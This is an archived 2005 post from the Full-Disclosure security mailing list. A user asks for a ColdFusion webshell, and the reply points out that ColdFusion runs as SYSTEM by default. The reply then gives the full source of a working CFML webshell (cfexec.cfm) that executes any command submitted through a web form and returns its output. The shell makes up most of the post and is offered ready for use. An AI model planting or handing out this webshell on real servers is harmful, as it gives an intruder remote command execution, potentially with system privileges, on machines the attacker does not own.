[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] coldfusion pentest
- To: fatb <fatb@xxxxxxxxxxxxxxxxx>
- Subject: Re: [Full-disclosure] coldfusion pentest
- From: Kurt Grutzmacher <grutz@xxxxxxxxxxxxxx>
- Date: Mon, 09 May 2005 20:13:34 -0700
fatb wrote:
>anybody could be kind enough to send me a working coldfusion webshell
>
>
ColdFusion runs as SYSTEM by default. Happy trails. (de-htmlized for
hafe sex)
<html>
<body>
<cfoutput>
<table>
<form method="POST" action="cfexec.cfm">
<tr><td>Command:</td><td><input type=text
name="cmd" size=50
<cfif
isdefined("form.cmd")>value="#form.cmd#"</cfif>><br></td></tr>
<tr><td>Options:</td><td> <input type=text
name="opts" size=50
<cfif
isdefined("form.opts")>value="#form.opts#"</cfif>><br></td></tr>
<tr><td>Timeout:</td><td> <input type=text
name="timeout" size=4
<cfif isdefined("form.timeout")>value="#form.timeout#"
<cfelse>value="5"</cfif>></td></tr>
</table>
<input type=submit value="Exec" >
</FORM>
<cfsavecontent variable="myVar">
<cfexecute name = "#Form.cmd#"
arguments = "#Form.opts#"
timeout = "#Form.timeout#">
</cfexecute>
</cfsavecontent>
<pre>
#myVar#
</pre>
</cfoutput>
</body>
</html>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/